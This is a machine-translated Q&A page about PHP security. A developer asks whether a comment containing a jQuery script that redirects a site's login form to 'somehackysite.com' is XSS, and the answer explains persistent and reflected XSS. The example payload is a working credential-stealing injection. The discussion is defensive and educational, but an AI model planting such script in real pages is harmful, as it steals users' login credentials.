php – HTML的用户输入是向其他人显示的,而不是HTML转义的XSS的一个例子

我是 PHP开发人员,我希望提高我的网站的安全性.

从我了解以下是影响Web应用程序的两种主要的漏洞类型:

> sql注入
> XSS

sql注入可以用准备的语句来修复 – 容易.

但我还是没有真正得到XSS – 以下是XSS的一个例子?

>完整的用户自定义内容页面上有一个登录表单(站点范围).
>用户页面的输入不是HTML转义的.
> A用户发布以下内容(例如评论)到页面

A really nice comment

<!-- now an evil script (example here with jquery,but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
    $('#login_form').attr('action','http://somehackysite.com/givemeyourpw.PHP');
});
</script>

>一个无辜的用户来到页面,脚本执行.
>无辜的用户意识到他们没有登录,并将其详细信息输入到表单中.
>用户的详细信息将发送到http://somehackysite.com/givemyourpw.PHP,然后用户的帐户详细信息被盗.

所以我在这里真的有三个问题:

这会工作吗?
这是XSS吗?
>除了转义HTML,开发人员应该采取什么预防措施对XSS?

XSS攻击有两种类型:反映XSS和持久XSS攻击.您所描述的,站点用户输入在服务器端保存的数据,并为任何人查看页面呈现的数据被视为持久XSS.类似的攻击将是如果你有一个不能转义Javascript的帖子的评论框,或者我可以把任何东西放进一个个人资料页面.

另一类XSS攻击是反映XSS.这些更复杂一些,但它们相当于网页中未被转义的网页中的一个参数.他们经常出现在大型网站上的搜索页面.你会得到一个包含一些javascript的URL(对不起,我的示例被这里的渲染器弄错了,所以我不能给你一个例子),并且该页面将呈现出允许某人制作恶意的JavaScript URL.对于任何类型的财务数据,这些都是特别危险的;想象一个认真的用户,经常检查,以确保他们要写入链接到他们的银行,但是由于反映的XSS攻击,攻击者可以将他们发送到他们银行网站上的合法页面,但是有恶意其中的代码.

无论如何,您的示例是Persistent XSS.你可以通过这样的攻击来做更多恶意的事情,而不仅仅是更改登录表单发送用户的位置.他们多年来一直很流行,例如从站点的个人区域刮取信息,或者加上CSRF,以使经过身份验证的用户通过简单地查看页面来执行某些操作.有一些MySpace病毒一回,这样做,并从配置文件扩展到配置文件.

相关文章

Hessian开源的远程通讯,采用二进制 RPC的协议,基于 HTTP 传输。可以实现PHP调用Java,Python,C#等多语...
初识Mongodb的一些总结,在Mac Os X下真实搭建mongodb环境,以及分享个Mongodb管理工具,学习期间一些总结...
边看边操作,这样才能记得牢,实践是检验真理的唯一标准.光看不练假把式,光练不看傻把式,边看边练真把式....
在php中,结果输出一共有两种方式:echo和print,下面将对两种方式做一个比较。 echo与print的区别: (...
在安装好wampServer后,一直没有使用phpMyAdmin,今天用了一下,phpMyAdmin显示错误:The mbstring exte...
变量是用于存储数据的容器,与代数相似,可以给变量赋予某个确定的值(例如:$x=3)或者是赋予其它的变...